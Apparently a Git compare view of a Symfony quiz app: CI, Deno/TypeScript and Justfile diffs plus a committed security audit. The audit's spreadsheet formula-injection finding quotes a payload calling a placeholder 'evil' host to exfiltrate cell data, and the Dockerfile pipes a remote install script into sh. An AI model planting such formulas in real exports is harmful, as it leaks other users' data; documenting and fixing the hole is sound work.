Compare commits

..

7 Commits

Author SHA1 Message Date
Marijn 89e7dd09ba Add rate limiting to login and season-code entry points
Neither /login nor the public season-code guess form (POST /) had
any throttling, making both an unlimited brute-force/enumeration
oracle. Adds symfony/rate-limiter and enables login_throttling on
the main firewall, plus a dedicated per-IP rate limiter on the
season-code form.
2026-07-13 09:56:39 +02:00
Marijn cd293aa86f Prevent formula injection in spreadsheet exports
Answer/candidate text starting with =, +, -, or @ was written to XLSX
exports as a live formula rather than plain text. Since seasons can
have multiple owners, a co-owner could plant a formula that runs (and
can exfiltrate data) when another owner opens the export in Excel.
2026-07-13 09:31:14 +02:00
Marijn 4f3a6fbc89 Add authorization checks to PrepareEliminationController
index and viewElimination had no IsGranted guard, unlike every other
backoffice/elimination controller, so any authenticated user could
prepare or overwrite another season's elimination screens.
2026-07-13 09:09:04 +02:00
Marijn 7d8722eec5 Declare ext-intl and ext-zip as explicit composer requirements
DataExportService uses ZipArchive directly and the Dutch-locale
format_datetime Twig filter needs real ext-intl (the polyfill only
supports en), but composer.json only declared ext-ctype/ext-iconv.
Adding them lets `composer check-platform-reqs` catch a missing
extension before a runtime crash.
2026-07-12 22:49:46 +02:00
Marijn ee408cd065 Share the self-signed Caddy CA/cert across worktrees (#211)
Each worktree previously bind-mounted its own frankenphp/data, so
Caddy minted a fresh CA and cert per checkout and just trust-cert had
to be re-run every time. Anchor CADDY_DATA_DIR at the shared .git
common dir instead, so all worktrees of the same clone reuse one CA.
2026-07-12 20:12:35 +00:00
Marijn b4a27a7c0d Migrate frontend to TypeScript with Deno-based tooling (#209)
* Migrate frontend to TypeScript with Deno-based tooling (#206)

Compiles assets/*.ts via sensiolabs/typescript-bundle (standalone SWC
binary) and adds Deno for formatting, linting, type-checking, and
tests, keeping the project's no-Node/npm approach intact. Wires all
four into CI, the Justfile, and the pre-commit hook.

* fix: build TypeScript assets before running PHPUnit in CI

The tests job ran bin/console sass:build but never typescript:build,
so var/typescript/ didn't exist and any page rendering the importmap
(e.g. backoffice/base.html.twig) errored during tests.

* test: add regression test for backoffice navbar-toggler dead target

Guards against the navbar-toggler button pointing at a collapse
target (#navbarSupportedContent) that isn't rendered for the current
user — the bug hit on the login page before #210 restructured the
nav to always render at least one item (the Releases link) regardless
of auth state.

* fix: stop hand-enumerating TS files for deno check

deno check assets/*.ts assets/controllers/*.ts assets/controllers/bo/*.ts
was duplicated in CI and the Justfile, and silently misses any new
controller subdirectory (fmt/lint/test already recurse assets/ via
deno.json). Add a top-level exclude for assets/vendor/ (respected by
all deno subcommands, unlike the per-task include/exclude blocks) so
deno check assets/ can recurse safely instead.

* fix: GitHubReleasesService date parsing and falsy release name

- Move the release-mapping array_map inside the try block so a
  malformed published_at (or any other parse failure) degrades to the
  same empty-list fallback as an HTTP failure, instead of throwing
  uncaught out of the cache callback.
- Stop treating a release literally named "0" as unnamed — the old
  `?:` fallback is falsy for that string and silently substituted the
  tag name instead.
- Render release dates in UTC explicitly; Twig's date filter otherwise
  silently converts to the app's default timezone (Europe/Amsterdam),
  which could show the wrong calendar day for releases near midnight.

* docs: add scope-creep-as-a-service rule to CLAUDE.md

Per user instruction: when a review turns up a real bug outside the
current task's scope, fix it in the same MR (with a regression test)
rather than just reporting it, unless it needs a human design call.
2026-07-12 22:11:00 +02:00
Marijn 4e98909f11 Add GitHub Releases modal to backoffice (#210)
* Add GitHub Releases modal to backoffice

Shows release notes (fetched from the GitHub API, cached for an hour,
Markdown rendered via league/commonmark) from a top-right nav button
available whether logged in or out, with the current version shown in
the modal header. Also clears cache.app on container start so the
release cache can't carry stale data across redeploys of the
var/ Docker volume.

* Render release notes markdown via twig/markdown-extra instead of manual CommonMark

twig/extra-bundle already wires the markdown filter to league/commonmark
automatically once twig/markdown-extra is installed, so the service no
longer needs to instantiate and call CommonMarkConverter itself.

* Explicitly disallow unsafe link protocols in rendered markdown

twig/extra-bundle's default (allow_unsafe_links: true) permits
javascript:/vbscript:/file:/data: URLs in rendered links, kept for
backwards compatibility. Disable it explicitly since we now render
release note markdown through this filter.

* Autolink bare URLs in rendered release notes

The Twig CommonMark converter only registers CommonMarkCoreExtension by
default, which doesn't turn bare URLs into clickable links (unlike
GitHub's own renderer). Register CommonMark's AutolinkExtension via the
twig.markdown.league_extension tag so PR/compare URLs in release notes
render as actual hyperlinks instead of plain text.

* Address review feedback on GitHubReleasesService and tests

- Extract the cache callback into a named fetchReleases() method instead
  of an inline closure with all the fetch/parse logic.
- Simplify the User-Agent header to just "TijdVoorDeTest".
- Add a 5s HTTP timeout so a slow GitHub API can't block the request.
- Cache HTTP failures for only 60s instead of the full hour, so a brief
  GitHub outage doesn't suppress releases for as long.
- Replace deprecated word-wrap with overflow-wrap in release-notes CSS.
- Extract duplicated mock setup in ReleasesControllerTest into a helper.
- Reword the "could not load" translation ("Kan" instead of "Kon").

* Address second round of CodeRabbit feedback

- Escape raw HTML embedded in release-note markdown instead of passing
  it through, via twig_extra.commonmark.html_input: escape.
- Don't cache GitHub API failures at all (set $save = false in the
  cache callback) instead of caching them for a short TTL, so the very
  next request retries immediately.
- Sort releases by published_at descending before mapping, so the
  first entry (used for the current-version badge and default-expanded
  accordion item) is guaranteed to be the newest regardless of the
  order GitHub's API happens to return.
2026-07-12 18:59:36 +00:00
65 changed files with 2794 additions and 518 deletions
+21 -1
View File
@@ -12,7 +12,12 @@ while IFS= read -r file; do
[[ -n "$file" ]] && STAGED_TWIG+=("$file") [[ -n "$file" ]] && STAGED_TWIG+=("$file")
done < <(git diff --cached --name-only --diff-filter=ACMR | grep -E '\.twig$' || true) done < <(git diff --cached --name-only --diff-filter=ACMR | grep -E '\.twig$' || true)
if [[ ${#STAGED_PHP[@]} -eq 0 && ${#STAGED_TWIG[@]} -eq 0 ]]; then STAGED_TS=()
while IFS= read -r file; do
[[ -n "$file" ]] && STAGED_TS+=("$file")
done < <(git diff --cached --name-only --diff-filter=ACMR | grep -E '\.ts$' || true)
if [[ ${#STAGED_PHP[@]} -eq 0 && ${#STAGED_TWIG[@]} -eq 0 && ${#STAGED_TS[@]} -eq 0 ]]; then
exit 0 exit 0
fi fi
@@ -46,3 +51,18 @@ if [[ ${#STAGED_TWIG[@]} -gt 0 ]]; then
"${DOCKER_CMD[@]}" vendor/bin/twig-cs-fixer fix "${STAGED_TWIG[@]}" "${DOCKER_CMD[@]}" vendor/bin/twig-cs-fixer fix "${STAGED_TWIG[@]}"
git add "${STAGED_TWIG[@]}" git add "${STAGED_TWIG[@]}"
fi fi
if [[ ${#STAGED_TS[@]} -gt 0 ]]; then
echo "TypeScript (${#STAGED_TS[@]} file(s)): Deno fmt → lint → check"
echo " → Deno fmt"
"${DOCKER_CMD[@]}" deno fmt "${STAGED_TS[@]}"
git add "${STAGED_TS[@]}"
echo " → Deno lint"
"${DOCKER_CMD[@]}" deno lint --fix "${STAGED_TS[@]}"
git add "${STAGED_TS[@]}"
echo " → Deno check"
"${DOCKER_CMD[@]}" deno check "${STAGED_TS[@]}"
fi
+22
View File
@@ -104,6 +104,22 @@ jobs:
echo "::error::Translations are out of date. Run 'just translations' and commit the changes." echo "::error::Translations are out of date. Run 'just translations' and commit the changes."
exit 1 exit 1
fi fi
- name: TypeScript Formatting
id: ts_fmt
continue-on-error: true
run: docker compose exec -T php deno fmt --check assets/
- name: TypeScript Lint
id: ts_lint
continue-on-error: true
run: docker compose exec -T php deno lint assets/
- name: TypeScript Type Check
id: ts_check
continue-on-error: true
run: docker compose exec -T php deno check assets/
- name: TypeScript Tests
id: ts_test
continue-on-error: true
run: docker compose exec -T php deno test assets/
- name: Check HTTP reachability - name: Check HTTP reachability
run: curl -v --fail-with-body http://localhost run: curl -v --fail-with-body http://localhost
- name: Assert all checks passed - name: Assert all checks passed
@@ -123,6 +139,10 @@ jobs:
check "PHPStan" "${{ steps.phpstan.outcome }}" check "PHPStan" "${{ steps.phpstan.outcome }}"
check "Rector" "${{ steps.rector.outcome }}" check "Rector" "${{ steps.rector.outcome }}"
check "Translations" "${{ steps.translations.outcome }}" check "Translations" "${{ steps.translations.outcome }}"
check "TypeScript Formatting" "${{ steps.ts_fmt.outcome }}"
check "TypeScript Lint" "${{ steps.ts_lint.outcome }}"
check "TypeScript Type Check" "${{ steps.ts_check.outcome }}"
check "TypeScript Tests" "${{ steps.ts_test.outcome }}"
exit $failed exit $failed
tests: tests:
@@ -156,6 +176,8 @@ jobs:
run: docker compose up php database --wait --no-build run: docker compose up php database --wait --no-build
- name: Build SCSS - name: Build SCSS
run: docker compose exec -T php bin/console sass:build run: docker compose exec -T php bin/console sass:build
- name: Build TypeScript
run: docker compose exec -T php bin/console typescript:build
- name: Create test database - name: Create test database
run: docker compose exec -T php bin/console -e test doctrine:database:create run: docker compose exec -T php bin/console -e test doctrine:database:create
- name: Run migrations - name: Run migrations
+13 -2
View File
@@ -23,7 +23,7 @@ Tech Stack:
- **ORM**: Doctrine - **ORM**: Doctrine
- **Server**: FrankenPHP with Caddy - **Server**: FrankenPHP with Caddy
- **Container**: Docker Compose - **Container**: Docker Compose
- **Frontend**: Twig templates with SASS (via asset mapper) - **Frontend**: Twig templates with SASS and TypeScript (via asset mapper)
- **Testing**: PHPUnit 13 with DAMA Doctrine test bundle - **Testing**: PHPUnit 13 with DAMA Doctrine test bundle
## Build & Development Commands ## Build & Development Commands
@@ -252,7 +252,8 @@ question counts as covered more than once).
- **Write the failing test first.** When fixing any PHP-reachable bug, write a PHPUnit test that reproduces the failure - **Write the failing test first.** When fixing any PHP-reachable bug, write a PHPUnit test that reproduces the failure
before touching the production code. Fix the code until the test passes. before touching the production code. Fix the code until the test passes.
- Only skip a test if the bug is purely in JavaScript/frontend where PHPUnit cannot reach it. - For bugs in `assets/*.ts` logic, write a `deno test` first instead — same TDD rule, different runner. Only skip a
test if the bug is in markup/DOM wiring that isn't worth a test per the rule below.
- Don't write tests for trivial presentational markup (e.g. asserting a tooltip/popover attribute or a CSS class exists - Don't write tests for trivial presentational markup (e.g. asserting a tooltip/popover attribute or a CSS class exists
in a template). Tests cover behavior: routing, forms, persistence, authorization. in a template). Tests cover behavior: routing, forms, persistence, authorization.
- Follow the pattern in `tests/Controller/Backoffice/` for controller/integration tests: log in, GET for CSRF token, - Follow the pattern in `tests/Controller/Backoffice/` for controller/integration tests: log in, GET for CSRF token,
@@ -263,6 +264,11 @@ question counts as covered more than once).
- **Boy Scout Rule**: when you're already touching a file for an unrelated change, fix small nearby issues in the same - **Boy Scout Rule**: when you're already touching a file for an unrelated change, fix small nearby issues in the same
commit (e.g. a test that unnecessarily extends `WebTestCase`, a stale comment) rather than leaving them for later — commit (e.g. a test that unnecessarily extends `WebTestCase`, a stale comment) rather than leaving them for later —
but don't let this balloon into an unrelated refactor. but don't let this balloon into an unrelated refactor.
- **Scope creep as a service**: when a review (yours or `/code-review`'s) turns up a real bug or gap outside the
original task's scope — even in already-merged code untouched by the current diff — fix it in the same MR rather
than just reporting it and moving on. Write a regression test first per the TDD rule above. Only leave something
unaddressed if fixing it would require a design decision only a human can make (e.g. reverting an intentional
security/access-control choice) — in that case, say so explicitly instead of silently skipping it.
### Code Style & Standards ### Code Style & Standards
@@ -276,6 +282,11 @@ question counts as covered more than once).
- **Twig-CS-Fixer**: Template style enforcement - **Twig-CS-Fixer**: Template style enforcement
- **Safe functions**: Use `thecodingmachine/safe` wrappers for standard PHP functions that return `false` on failure — - **Safe functions**: Use `thecodingmachine/safe` wrappers for standard PHP functions that return `false` on failure —
they throw exceptions instead they throw exceptions instead
- **TypeScript (`assets/`)**: Compiled via `sensiolabs/typescript-bundle` (standalone SWC binary, no Node/npm).
Formatting, linting, type-checking, and tests use **Deno** (`deno fmt` / `deno lint` / `deno check` / `deno test`) —
a single standalone binary, kept dev-only (installed in the `frankenphp_dev` Docker stage, not prod), consistent
with the project's no-Node-anywhere approach. See `deno.json` for config; run via `just fix-ts` / `just check-ts` /
`just test-ts`. Tests live alongside their source as `*_test.ts` files
### Environment Configuration ### Environment Configuration
+7
View File
@@ -62,11 +62,18 @@ ENV APP_ENV=dev XDEBUG_MODE=off
# hadolint ignore=DL3008 # hadolint ignore=DL3008
RUN apt-get update && apt-get install -y --no-install-recommends \ RUN apt-get update && apt-get install -y --no-install-recommends \
bash-completion \ bash-completion \
unzip \
&& rm -rf /var/lib/apt/lists/* && rm -rf /var/lib/apt/lists/*
COPY --link frankenphp/console-complete.bash /usr/share/bash-completion/completions/console COPY --link frankenphp/console-complete.bash /usr/share/bash-completion/completions/console
COPY --link frankenphp/composer-complete.bash /usr/share/bash-completion/completions/composer COPY --link frankenphp/composer-complete.bash /usr/share/bash-completion/completions/composer
# Deno: standalone binary (no Node/npm) used for TypeScript lint/format/type-check/test,
# dev-only tooling so it's not installed in the prod stage.
ENV DENO_INSTALL=/usr/local
# hadolint ignore=DL4006
RUN curl -fsSL https://deno.land/install.sh | sh -s v2.9.2
RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini" RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini"
RUN set -eux; \ RUN set -eux; \
+31 -3
View File
@@ -4,11 +4,18 @@ set dotenv-filename := ".env.local"
# Generate a per-worktree COMPOSE_PROJECT_NAME, IMAGES_PREFIX and free host ports in .env.local, # Generate a per-worktree COMPOSE_PROJECT_NAME, IMAGES_PREFIX and free host ports in .env.local,
# so multiple worktrees/checkouts of this repo can run `just up` at the same time without their # so multiple worktrees/checkouts of this repo can run `just up` at the same time without their
# containers, volumes, images or ports colliding. Safe to re-run; no-ops if already configured. # containers, volumes, images or ports colliding. Also points CADDY_DATA_DIR at a location shared
# by all worktrees of the same clone, so they reuse one self-signed CA/cert instead of generating
# their own. Safe to re-run; no-ops if already configured.
init: init:
#!/usr/bin/env bash #!/usr/bin/env bash
set -euo pipefail set -euo pipefail
if [ -f .env.local ] && grep -q '^COMPOSE_PROJECT_NAME=' .env.local; then if [ -f .env.local ] && grep -q '^COMPOSE_PROJECT_NAME=' .env.local; then
if ! grep -q '^CADDY_DATA_DIR=' .env.local; then
git_common_dir=$(git rev-parse --path-format=absolute --git-common-dir)
echo "CADDY_DATA_DIR=${git_common_dir}/tvdt-caddy-data" >> .env.local
echo "Backfilled CADDY_DATA_DIR into existing .env.local."
fi
echo ".env.local already configured for this worktree, skipping (delete it to regenerate)." echo ".env.local already configured for this worktree, skipping (delete it to regenerate)."
exit 0 exit 0
fi fi
@@ -39,6 +46,11 @@ init:
postgres_port=$(free_port 5430 5529) postgres_port=$(free_port 5430 5529)
mailpit_port=$(free_port 8025 8124) mailpit_port=$(free_port 8025 8124)
spotlight_port=$(free_port 8969 9068) spotlight_port=$(free_port 8969 9068)
# .git is shared by all worktrees of the same clone, so anchoring the Caddy data dir
# (self-signed CA + TLS certs) there instead of under the worktree lets every worktree
# reuse the same CA, avoiding a fresh cert (and a fresh `just trust-cert`) per checkout.
git_common_dir=$(git rev-parse --path-format=absolute --git-common-dir)
caddy_data_dir="${git_common_dir}/tvdt-caddy-data"
{ {
echo "COMPOSE_PROJECT_NAME=${project}" echo "COMPOSE_PROJECT_NAME=${project}"
echo "IMAGES_PREFIX=${project}-" echo "IMAGES_PREFIX=${project}-"
@@ -47,6 +59,7 @@ init:
echo "POSTGRES_PORT=${postgres_port}" echo "POSTGRES_PORT=${postgres_port}"
echo "MAILPIT_PORT=${mailpit_port}" echo "MAILPIT_PORT=${mailpit_port}"
echo "SPOTLIGHT_PORT=${spotlight_port}" echo "SPOTLIGHT_PORT=${spotlight_port}"
echo "CADDY_DATA_DIR=${caddy_data_dir}"
} >> .env.local } >> .env.local
echo "Generated .env.local for this worktree:" echo "Generated .env.local for this worktree:"
cat .env.local cat .env.local
@@ -112,6 +125,16 @@ phpstan *args:
test *args: test *args:
docker compose exec php vendor/bin/phpunit {{ args }} docker compose exec php vendor/bin/phpunit {{ args }}
fix-ts:
docker compose exec php deno fmt assets/
docker compose exec php deno lint --fix assets/
check-ts:
docker compose exec php deno check assets/
test-ts *args:
docker compose exec php deno test assets/ {{ args }}
[confirm] [confirm]
clean: clean:
docker compose down -v --remove-orphans docker compose down -v --remove-orphans
@@ -128,8 +151,13 @@ install-hooks:
chmod +x .githooks/pre-commit chmod +x .githooks/pre-commit
@echo "Pre-commit hook installed." @echo "Pre-commit hook installed."
trust-cert: trust-cert: init
#!/usr/bin/env bash
set -euo pipefail
set -a
source .env.local
set +a
sudo security add-trusted-cer -d \ sudo security add-trusted-cer -d \
-r trustRoot \ -r trustRoot \
-k "$HOME/Library/Keychains/login.keychain" \ -k "$HOME/Library/Keychains/login.keychain" \
./frankenphp/data/caddy/pki/authorities/local/root.crt "${CADDY_DATA_DIR:-./frankenphp/data}/caddy/pki/authorities/local/root.crt"
+104
View File
@@ -0,0 +1,104 @@
# Security Audit — Tijd voor de test
**Date:** 2026-07-12
**Branch:** `declare-ext-intl-ext-zip`
**Scope:** Full codebase — authentication/authorization, injection & output encoding, config/secrets/infrastructure, quiz business-logic abuse, and dependency audits. Read-only scan; no files were modified.
## Summary
| # | Severity | Finding | Location |
|---|----------|---------|----------|
| 1 | High | ~~`PrepareEliminationController` has no authorization guard~~ **Fixed 2026-07-13** | `src/Controller/Backoffice/PrepareEliminationController.php:21-65` |
| 2 | High | Production PostgreSQL published to host + default-password fallback | `compose.prod.yaml:27-28`, `compose.yaml:11,30` |
| 3 | Medium | ~~Spreadsheet formula injection in exports~~ **Fixed 2026-07-13** | `src/Service/QuizSpreadsheetService.php`, `src/Service/DataExportService.php` |
| 4 | Medium | ~~No login throttling / brute-force protection~~ **Fixed 2026-07-13** | `config/packages/security.yaml:17-29` |
| 5 | Medium | Open self-registration grants immediate backoffice access | `src/Controller/RegistrationController.php:40-56` |
| 6 | Low | Double-submit race can inflate score | `src/Controller/QuizController.php:120-128` |
| 7 | Low | Answer-POST path never checks `isFinalized`/`isLocked` | `src/Controller/QuizController.php:102-131` |
| 8 | Low | Server-side formula evaluation of uploaded XLSX | `src/Service/QuizSpreadsheetService.php:68` |
| 9 | Low | Containers run as root | `Dockerfile` |
| 10 | Low | No security response headers in prod | `frankenphp/Caddyfile:45` |
| 11 | Low | Committed `APP_SECRET` (dev-only) | `.env.dev:3` |
| 12 | Low | `zend.exception_ignore_args = Off` in prod | `frankenphp/conf.d/10-app.ini:15` |
**Dependencies are clean:** `composer audit` and `bin/console importmap:audit` both report zero known-CVE advisories.
---
## High
### 1. `PrepareEliminationController` has no authorization guard — FIXED
**File:** `src/Controller/Backoffice/PrepareEliminationController.php:21-65`
The class carried no `#[IsGranted]` at class or method level — unlike every sibling controller, and unlike `EliminationController` which guards with `SeasonVoter::ELIMINATION`. Both routes were gated only by the blanket `^/backoffice → IS_AUTHENTICATED` rule.
- `viewElimination` (line 46) both reads and, on POST, rewrites any elimination via `updateFromInputBag()` + `flush()`.
- `index` (line 32) never checked that `$quiz` belonged to `$season`.
**Failure scenario:** Any authenticated user who obtained or guessed another season's quiz/elimination UUID could rewrite that season's red/green elimination screens.
**Fix applied:** Added `#[IsGranted(SeasonVoter::ELIMINATION, 'quiz')]` to `index` and `#[IsGranted(SeasonVoter::ELIMINATION, 'elimination')]` to `viewElimination`, matching the pattern used everywhere else. Regression tests `testIndexIsDeniedForNonOwner` and `testViewEliminationIsDeniedForNonOwner` were added to `tests/Controller/Backoffice/PrepareEliminationControllerTest.php` (written first, confirmed failing against the old code, now passing). Full suite (290 tests), PHPStan, Rector, and CS-Fixer all pass.
### 2. Production PostgreSQL published to host with default-password fallback
**Files:** `compose.prod.yaml:27-28`, `compose.yaml:11,30`
- `compose.prod.yaml:27-28` publishes `5430:5432` in the *production* override; the DB should stay on the `internal` network only.
- `compose.yaml:11,30` default `POSTGRES_PASSWORD` to `!ChangeMe!`, and `compose.prod.yaml` never sets it — so if the Portainer stack env omits it, prod silently runs with a publicly-known password.
**Failure scenario:** Internet-reachable database with a known default credential → full read/write of user hashes, quiz data, reset-password tokens.
**Fix:** Drop the port publish from the prod override; make `POSTGRES_PASSWORD` mandatory with no fallback in prod.
---
## Medium
### 3. Spreadsheet formula injection in exports — FIXED
**Files:** `src/Service/QuizSpreadsheetService.php:132,136`; `src/Service/DataExportService.php:208,237,249-265,328,393-403`
All user-controlled strings were written to XLSX via `setCellValue()`/`fromArray()` with no quote-prefixing or value-binder override. PhpSpreadsheet stores any string starting with `=` as a live formula.
**Failure scenario:** Seasons support multiple owners, so a co-owner could name an answer/candidate `=WEBSERVICE("http://evil/?"&A1)`; when another owner opened the quiz export or GDPR zip in Excel, the formula would execute/exfiltrate.
**Fix applied:** Added `src/Helpers/FormulaInjectionSafeValueBinder.php`, a `DefaultValueBinder` override that forces any string starting with `= + - @` (or a leading tab/CR) to be stored as a plain string data type instead of being auto-detected as a formula. Wired it in via `Cell::setValueBinder()` in the constructors of `QuizSpreadsheetService` and `DataExportService`, so it's active before any cell is written. Regression tests added: `tests/Helpers/FormulaInjectionSafeValueBinderTest.php` (unit-level), plus `testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString` and `testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString` (written first, confirmed failing against the old code, now passing).
### 4. No login throttling / brute-force protection — FIXED
**File:** `config/packages/security.yaml:17-29`
`form_login` had no `login_throttling` and no rate limiter was configured anywhere. `/login` allowed unlimited password guessing; the public `POST /` season-code entry (`QuizController.php:35`) was likewise an unthrottled oracle for enumerating the ~3.2M-space season codes (5 chars, 20-consonant alphabet).
**Fix applied:**
- Added `symfony/rate-limiter` as a composer dependency and enabled `login_throttling` (`max_attempts: 5`) on the `main` firewall in `config/packages/security.yaml`, using Symfony's built-in per-user/global rate limiter.
- Added a dedicated `season_code` rate limiter (`framework.rate_limiter`, sliding window, 20 attempts/minute per IP) in `config/packages/framework.yaml`, enforced in `QuizController::selectSeason` — a `TooManyRequestsHttpException` (429) is thrown once the client IP exceeds the limit, before the season-code form is even validated.
- Both limiters have lower `when@test` overrides so tests run fast and deterministically.
- Regression tests added: `testLoginIsThrottledAfterTooManyFailedAttempts` (`tests/Controller/LoginControllerTest.php`) and `testSelectSeasonIsThrottledAfterTooManyAttempts` (`tests/Controller/QuizControllerTest.php`), both written first, confirmed failing against the old config, now passing.
### 5. Open self-registration grants immediate backoffice access
**Files:** `src/Controller/RegistrationController.php:40-56`, `config/packages/security.yaml:31`
Registration auto-logs-in a new user *before* email verification, and `^/backoffice` requires only `IS_AUTHENTICATED`. Any anonymous visitor gets an authenticated foothold to probe every backoffice route — the precondition that makes finding 1 practically exploitable.
**Fix / decision needed:** Confirm whether open registration into the backoffice is intended. If so, gate sensitive areas behind verified email and add a CAPTCHA/rate limit to registration.
---
## Low
- **6. Double-submit race can inflate score** (`src/Controller/QuizController.php:120-128`): no unique constraint on `GivenAnswer` and a TOCTOU between the "is this the next question" check and the insert. Concurrent POSTs of the known-correct answer each insert a row, each counted correct. Add a unique index on (quizCandidate, question).
- **7. Answer-POST path never checks `isFinalized`/`isLocked`** (`src/Controller/QuizController.php:102-131`): a finalized quiz still set as `activeQuiz` stays answerable. The POST path also doesn't assert a `QuizCandidate` exists (only GET does) — currently not exploitable but worth hardening.
- **8. Server-side formula evaluation of uploaded XLSX** (`src/Service/QuizSpreadsheetService.php:68`): `toArray()` leaves `calculateFormulas` at default `true`, allowing CPU-burn via nested formulas on import. Pass `calculateFormulas: false`.
- **9. Containers run as root** (`Dockerfile`, no `USER` directive): any PHP RCE is immediately root in-container.
- **10. No security response headers in prod** (`frankenphp/Caddyfile:45`): no CSP/`frame-ancestors`, `X-Content-Type-Options`, or HSTS — backoffice is clickjackable.
- **11. Committed `APP_SECRET`** (`.env.dev:3`, dev-only): prod uses `composer dump-env prod` with an env-provided secret, so scope is limited to any environment misconfigured to `APP_ENV=dev`. Consider rotating regardless since the value is now public.
- **12. `zend.exception_ignore_args = Off`** (`frankenphp/conf.d/10-app.ini:15`, prod): a stack trace in a password-handling path could ship plaintext to Sentry.
---
## Confirmed clean
No SQL/DQL injection (all queries parameterized), essentially no XSS surface (one `|raw` on an app-generated signed URL; GitHub release markdown is escaped), no `unserialize`/`eval`/shell-exec anywhere, safe redirects (open-redirect listener validates the logout `target`), no correct-answer or score leakage to candidates, server-set timing (no client-forgeable timestamps), zip creation with sanitized filenames (no zip-slip/path traversal), and a clean CI workflow (least-privilege permissions, SHA-pinned actions, no `pull_request_target`).
@@ -2,12 +2,15 @@ import 'bootstrap/dist/css/bootstrap.min.css';
import 'bootstrap-icons/font/bootstrap-icons.min.css'; import 'bootstrap-icons/font/bootstrap-icons.min.css';
import './styles/backoffice.scss'; import './styles/backoffice.scss';
import '@hotwired/turbo'; import '@hotwired/turbo';
import './stimulus.js'; import './stimulus.ts';
import './bootstrap.js'; import './bootstrap.ts';
import * as Sentry from '@sentry/browser'; import * as Sentry from '@sentry/browser';
const dsn = document.querySelector('meta[name="sentry-dsn"]')?.content ?? ''; const dsn = document.querySelector<HTMLMetaElement>('meta[name="sentry-dsn"]')
const userEmail = document.querySelector('meta[name="user-email"]')?.content ?? ''; ?.content ?? '';
const userEmail =
document.querySelector<HTMLMetaElement>('meta[name="user-email"]')
?.content ?? '';
// When no real DSN is configured, route to the local Spotlight sidecar so // When no real DSN is configured, route to the local Spotlight sidecar so
// nothing reaches Sentry. A syntactically valid DSN is still required for the // nothing reaches Sentry. A syntactically valid DSN is still required for the
-1
View File
@@ -1 +0,0 @@
import * as bootstrap from 'bootstrap'
+1
View File
@@ -0,0 +1 @@
import 'bootstrap';
@@ -1,136 +0,0 @@
import {Controller} from '@hotwired/stimulus';
export default class extends Controller {
static targets = ['collection'];
static values = {prototype: String};
connect() {
this.index = this.collectionTarget.children.length;
this._syncOrdering();
if (this.index === 0) {
this.addItem();
}
// `submit` fires on the ancestor <form>, which is outside this controller's
// subtree. Stimulus data-action only works within the controller element, so
// addEventListener on the form is the only option here.
this._form = this.element.closest('form');
if (this._form) {
this._submitHandler = () => {
[...this.collectionTarget.children].forEach(item => {
const input = item.querySelector('input[type="text"]');
if (input && input.value.trim() === '') item.remove();
});
};
this._form.addEventListener('submit', this._submitHandler);
}
}
disconnect() {
if (this._form && this._submitHandler) {
this._form.removeEventListener('submit', this._submitHandler);
}
}
addItem() {
const item = document.createElement('div');
item.innerHTML = this.prototypeValue.replace(/__name__/g, this.index);
const el = item.firstElementChild;
this.collectionTarget.appendChild(el);
this.index++;
this._syncOrdering();
}
removeItem(event) {
event.target.closest('[data-collection-item]').remove();
this._notifyChange();
}
sortAlphabetically() {
const items = [...this.collectionTarget.children];
items.sort((a, b) => {
const textA = (a.querySelector('input[type="text"]')?.value ?? '').toLowerCase();
const textB = (b.querySelector('input[type="text"]')?.value ?? '').toLowerCase();
return textA.localeCompare(textB);
});
items.forEach(item => this.collectionTarget.appendChild(item));
this._syncOrdering();
this._notifyChange();
}
randomize() {
const items = [...this.collectionTarget.children];
for (let i = items.length - 1; i > 0; i--) {
const j = Math.floor(Math.random() * (i + 1));
[items[i], items[j]] = [items[j], items[i]];
}
items.forEach(item => this.collectionTarget.appendChild(item));
this._syncOrdering();
this._notifyChange();
}
autoExpand(event) {
if (event.target.type !== 'text') return;
const item = event.target.closest('[data-collection-item]');
const last = [...this.collectionTarget.children].at(-1);
if (item && item === last && event.target.value.trim() !== '') {
this.addItem();
}
}
// — drag-and-drop —
dragStart(event) {
this._dragging = event.currentTarget.closest('[data-collection-item]');
this._dragging.classList.add('opacity-50');
event.dataTransfer.effectAllowed = 'move';
}
dragEnd(event) {
event.currentTarget.closest('[data-collection-item]').classList.remove('opacity-50');
this._dragging = null;
this.collectionTarget.querySelectorAll('[data-collection-item]').forEach(i =>
i.classList.remove('border-top', 'border-bottom', 'border-primary'),
);
}
dragOver(event) {
event.preventDefault();
const el = event.currentTarget;
if (!this._dragging || this._dragging === el) return;
event.dataTransfer.dropEffect = 'move';
const rect = el.getBoundingClientRect();
const isBottom = event.clientY > rect.top + rect.height / 2;
el.classList.toggle('border-top', !isBottom);
el.classList.toggle('border-bottom', isBottom);
el.classList.add('border-primary');
}
dragLeave(event) {
event.currentTarget.classList.remove('border-top', 'border-bottom', 'border-primary');
}
drop(event) {
event.preventDefault();
const el = event.currentTarget;
el.classList.remove('border-top', 'border-bottom', 'border-primary');
if (!this._dragging || this._dragging === el) return;
const rect = el.getBoundingClientRect();
const isBottom = event.clientY > rect.top + rect.height / 2;
this.collectionTarget.insertBefore(this._dragging, isBottom ? el.nextSibling : el);
this._syncOrdering();
this._notifyChange();
}
_notifyChange() {
this.element.dispatchEvent(new Event('change', {bubbles: true}));
}
_syncOrdering() {
[...this.collectionTarget.children].forEach((el, i) => {
const input = el.querySelector('input[name*="[ordering]"]');
if (input) input.value = i;
});
}
}
@@ -0,0 +1,172 @@
import { Controller } from '@hotwired/stimulus';
export default class extends Controller {
static targets = ['collection'];
static values = { prototype: String };
declare readonly collectionTarget: HTMLElement;
declare readonly prototypeValue: string;
index = 0;
_dragging: Element | null = null;
_form: HTMLFormElement | null = null;
_submitHandler: (() => void) | null = null;
connect(): void {
this.index = this.collectionTarget.children.length;
this._syncOrdering();
if (this.index === 0) {
this.addItem();
}
// `submit` fires on the ancestor <form>, which is outside this controller's
// subtree. Stimulus data-action only works within the controller element, so
// addEventListener on the form is the only option here.
this._form = this.element.closest('form');
if (this._form) {
this._submitHandler = () => {
[...this.collectionTarget.children].forEach((item) => {
const input = item.querySelector<HTMLInputElement>(
'input[type="text"]',
);
if (input && input.value.trim() === '') item.remove();
});
};
this._form.addEventListener('submit', this._submitHandler);
}
}
disconnect(): void {
if (this._form && this._submitHandler) {
this._form.removeEventListener('submit', this._submitHandler);
}
}
addItem(): void {
const item = document.createElement('div');
